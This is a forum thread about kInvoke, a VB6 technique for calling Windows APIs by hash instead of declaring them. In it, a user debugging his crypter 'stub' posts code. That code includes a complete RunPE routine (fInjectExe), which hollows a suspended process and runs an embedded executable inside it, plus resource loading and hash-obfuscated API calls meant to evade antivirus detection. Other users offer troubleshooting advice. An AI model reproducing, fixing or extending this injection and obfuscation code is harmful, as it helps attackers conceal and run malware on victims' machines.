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Tema: [ASM+VB6][INVOKE] Llamas APIs sin declararlas - kInvoke.bas (Leído 21,206 veces)
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Karcrack
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Se siente observado ¬¬'
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Well, if you're taking the Hashes correctly it must work fine... check there's no problem with DEP (Windows) or native/p-code...
Make sure you're generating the hashes using the complete function name... p.e MessageBoxA
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« Última modificación: 1 Noviembre 2011, 03:53 am por Karcrack »
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Swellow
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Well, if you're taking the Hashes correctly it must work fine... check there's no problem with DEP (Windows) or native/p-code...
Make sure you're generating the hashes using the complete function name... p.e MessageBoxA
I've generated the hashes correctly using each complete function name, I used the tool you shared with us. I'm on Windows 7 x64 bits and I'm compiling in Native Code I never got the CallAPIByHash working, never understood why :/ My Stub was using CallAPIByName and it was working...
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[L]ord [R]NA
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El Dictador y Verdugo de H-Sec
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On 64bits maybe the hash would be different, check this with a Debugger or make a program to create Hashes automatically
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Swellow
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On 64bits maybe the hash would be different, check this with a Debugger or make a program to create Hashes automatically
I have no idea on how to do this... Could you help me doing this please?
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Karcrack
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Se siente observado ¬¬'
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The hashes are the same... Can you post the code your using? Maybe the problem is with DEP...
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Swellow
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The hashes are the same... Can you post the code your using? Maybe the problem is with DEP...
I don't know with which API's it's not working, how do I know? I have Invoked RunPE/Resource and a few APIs in Main: Main Module: 'fCallAPI ("KERNEL32"), ("RtlMoveMemory"), VarPtr(bFile(0)), VarPtr(bTemp(10)), UBound(bFile) ---> fCallAPI ("KERNEL32"), (&HCF14E85B), VarPtr(bFile(0)), VarPtr(bTemp(10)), UBound(bFile)
'fCallAPI "kernel32", "GetModuleFileNameW", 0, VarPtr(bBuff(0)), 1024 ---> fCallAPI "kernel32", &h45B06D8C, 0, VarPtr(bBuff(0)), 1024Resource Module: 'hRsrc = fCallAPI(("Kernel32"), ("FindResourceW"), hMod, ResName, ResType) ---> hRsrc = fCallAPI(("Kernel32"), (&h3BD09A6B), hMod, ResName, ResType)
'hGlobal = fCallAPI(("Kernel32"), ("LoadResource"), hMod, hRsrc) ---> hGlobal = fCallAPI(("Kernel32"), (&h934E1F7B), hMod, hRsrc)
'lpData = fCallAPI(("Kernel32"), ("LockResource"), hGlobal) ---> lpData = fCallAPI(("Kernel32"), (&h9A4E2F7B), hGlobal)
'Size = fCallAPI(("Kernel32"), ("SizeofResource"), hMod, hRsrc) ---> Size = fCallAPI(("Kernel32"), (&h3F2A9609), hMod, hRsrc)
'fCallAPI ("Kernel32"), ("RtlMoveMemory"), VarPtr(B(0)), lpData, Size ---> fCallAPI ("Kernel32"), (&hCF14E85B), VarPtr(B(0)), lpData, Size
'fCallAPI ("Kernel32"), ("FreeResource"), hGlobal ---> fCallAPI ("Kernel32"), (&h54423F7C), hGlobal
'fCallAPI ("Kernel32"), ("FreeLibrary"), hMod ---> fCallAPI ("Kernel32"), (&h4DC9D5A0), hModAnd all API's in kRunPE: Public Function fInjectExe(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Long
Dim hModuleBase As Long
Dim hPE As Long
Dim hSec As Long
Dim ImageBase As Long
Dim gNumC As Long
Dim tSTARTUPINFO(16) As Long
Dim tPROCESS_INFORMATION(3) As Long
Dim tCONTEXT(50) As Long
Dim KERNEL32 As String
Dim NTDLL As String
KERNEL32 = "KERNEL32"
NTDLL = "NTDLL"
hModuleBase = VarPtr(bvBuff(0))
If Not GetNumb(hModuleBase, fClngW("2")) = fClngW("&H5A4D") Then Exit Function
hPE = hModuleBase + GetNumb(hModuleBase + fClngW("&H3C"))
If Not GetNumb(hPE) = fClngW("&H4550") Then Exit Function
ImageBase = GetNumb(hPE + fClngW("&H34"))
tSTARTUPINFO(0) = fClngW("&H44")
'CreateProcessW
Call fCallAPI(KERNEL32, &H16B3FE88, 0, StrPtr(sHost), 0, 0, 0, fClngW("&H4"), 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
'NtUnmapViewOfSection
Call fCallAPI(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
'NtAllocateVirtualMemory
Call fCallAPI(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + fClngW("&H50"))), fClngW("&H3000"), fClngW("&H40"))
'NtWriteVirtualMemory
Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + fClngW("&H54")), 0)
For gNumC = 0 To GetNumb(hPE + fClngW("&H6"), fClngW("2")) - fClngW("1")
hSec = hPE + fClngW("&HF8") + (fClngW("&H28") * gNumC)
'NtWriteVirtualMemory
Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + fClngW("&HC")), hModuleBase + GetNumb(hSec + fClngW("&H14")), GetNumb(hSec + fClngW("&H10")), 0)
Next gNumC
tCONTEXT(0) = fClngW("65543")
'NtGetContextThread
Call fCallAPI(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
'NtWriteVirtualMemory
Call fCallAPI(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + fClngW("&H8"), VarPtr(ImageBase), fClngW("&H4"), fClngW("0"))
tCONTEXT(44) = ImageBase + GetNumb(hPE + fClngW("&H28"))
'NtSetContextThread
Call fCallAPI(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
'NtResumeThread
Call fCallAPI(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
hProcess = tPROCESS_INFORMATION(0)
fInjectExe = fClngW("1")
End Function
Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
'NtWriteVirtualMemory
Call fCallAPI("NTDLL", &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function
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« Última modificación: 1 Noviembre 2011, 19:19 pm por Swellow »
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Karcrack
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Mensajes: 2.416
Se siente observado ¬¬'
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The code is pretty confusing... it's hard to follow the calls without looking at the original API declarations neither the structure declaration... anyway looks like your passing the pointers incorrectly... can't help you much more... you should look at the functions return... using Msgbox() is the easiest way.. also the worst  |
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